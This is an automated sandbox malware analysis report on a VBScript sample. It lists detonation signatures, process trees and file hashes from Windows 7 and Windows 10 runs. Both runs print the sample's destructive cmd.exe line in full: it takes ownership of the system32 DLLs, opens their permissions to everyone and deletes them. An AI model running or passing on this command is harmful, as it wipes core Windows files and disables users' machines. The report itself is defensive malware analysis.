Malware Analysis Report

2024-11-16 12:56

Sample ID 240809-zrmpdasfpb
Target code.vbs
SHA256 df23cd293cabe8742d6797d131618a7776c32e65cd4dc45a257a671f63d9e1cc
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

df23cd293cabe8742d6797d131618a7776c32e65cd4dc45a257a671f63d9e1cc

Threat Level: Likely malicious

The file code.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Drops file in Program Files directory

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:57

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:57

Reported

2024-08-09 20:59

Platform

win7-20240704-en

Max time kernel

117s

Max time network

118s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Google\Chrome\Application\debug.log C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2708 wrote to memory of 2748 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2708 wrote to memory of 2748 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2708 wrote to memory of 2748 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 2708 wrote to memory of 2608 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2708 wrote to memory of 2608 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2708 wrote to memory of 2608 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2608 wrote to memory of 2848 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2608 wrote to memory of 2848 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2608 wrote to memory of 2848 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2608 wrote to memory of 2640 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2608 wrote to memory of 2640 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2608 wrote to memory of 2640 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3056 wrote to memory of 852 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3056 wrote to memory of 852 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3056 wrote to memory of 852 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef68d9758,0x7fef68d9768,0x7fef68d9778

C:\Windows\explorer.exe

"C:\Windows\explorer.exe"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs

MD5 b1995021fa8e27390d0d0031a9c0bf74
SHA1 f685a4a6a9731b3c0ec4d39743d4d45e41e53fb0
SHA256 f3343be37159bdede808908cf79ee02a8dfb34d9aa4ccce16de1d650e7a2433b
SHA512 527274d67334d8fae8c5c334bc5b3370a54ff64e0ecc8ec3203ae07e69b63d103cfe10af1deb73474dcea950bf46c95fe2a49e7fc3f42d2bdfeead48fb9723e1

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:57

Reported

2024-08-09 20:59

Platform

win10v2004-20240802-en

Max time kernel

141s

Max time network

139s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings C:\Windows\System32\WScript.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4908 wrote to memory of 4716 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 4908 wrote to memory of 4716 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WScript.exe
PID 4908 wrote to memory of 2376 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4908 wrote to memory of 2376 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2376 wrote to memory of 2384 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2376 wrote to memory of 2384 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2376 wrote to memory of 4872 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2376 wrote to memory of 4872 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs

MD5 b1995021fa8e27390d0d0031a9c0bf74
SHA1 f685a4a6a9731b3c0ec4d39743d4d45e41e53fb0
SHA256 f3343be37159bdede808908cf79ee02a8dfb34d9aa4ccce16de1d650e7a2433b
SHA512 527274d67334d8fae8c5c334bc5b3370a54ff64e0ecc8ec3203ae07e69b63d103cfe10af1deb73474dcea950bf46c95fe2a49e7fc3f42d2bdfeead48fb9723e1